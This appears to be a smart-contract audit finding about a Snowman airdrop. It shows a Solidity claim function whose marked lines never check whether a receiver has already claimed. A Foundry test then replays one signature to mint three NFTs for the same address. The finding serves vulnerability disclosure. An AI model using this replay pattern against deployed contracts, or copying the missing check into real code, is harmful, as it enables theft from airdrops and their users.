function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
        external
        nonReentrant
    {
        if (receiver == address(0)) {
            revert SA__ZeroAddress();
        }
        if (i_snow.balanceOf(receiver) == 0) {
            revert SA__ZeroAmount();
        }
        if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
            revert SA__InvalidSignature();
        }
@>>  
      
        uint256 amount = i_snow.balanceOf(receiver);
        bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
        if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
            revert SA__InvalidProof();
        }
        i_snow.safeTransferFrom(receiver, address(this), amount); 
  @>>      s_hasClaimedSnowman[receiver] = true;  
        emit SnowmanClaimedSuccessfully(receiver, amount);
        i_snowman.mintSnowman(receiver, amount);
    }
Applying this function on the last of test/TestSnowmanAirdrop.t.sol to make sure that one signature can claim a reward more than once, ran with the command forge test --match-test testReplayAttackRealistic -vvvv
    function testReplayAttackRealistic() public {
        vm.startPrank(alice);
        snow.approve(address(airdrop), 1);
        vm.stopPrank();
        
        bytes32 aliceDigest = airdrop.getMessageHash(alice);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest);
        
        vm.prank(satoshi);
        airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
        
        assertEq(nft.balanceOf(alice), 1);
        assertEq(nft.ownerOf(0), alice);
        assert(snow.balanceOf(alice) == 0);
        
        vm.warp(block.timestamp + 604800);
        
        vm.prank(alice);
        snow.earnSnow();
        
        assert(snow.balanceOf(alice) == 1);
        
        vm.prank(alice);
        snow.approve(address(airdrop), 1);
        
        vm.prank(satoshi);
        airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
        
        assertEq(nft.balanceOf(alice), 2);
        assertEq(nft.ownerOf(1), alice);
        
        vm.warp(block.timestamp + 604800);
        
        vm.prank(alice);
        snow.earnSnow();
        assert(snow.balanceOf(alice) == 1);
        
        vm.prank(alice);
        snow.approve(address(airdrop), 1);
        
        vm.prank(satoshi);
        airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
        
        assertEq(nft.balanceOf(alice), 3);
        assertEq(nft.ownerOf(2), alice);
    }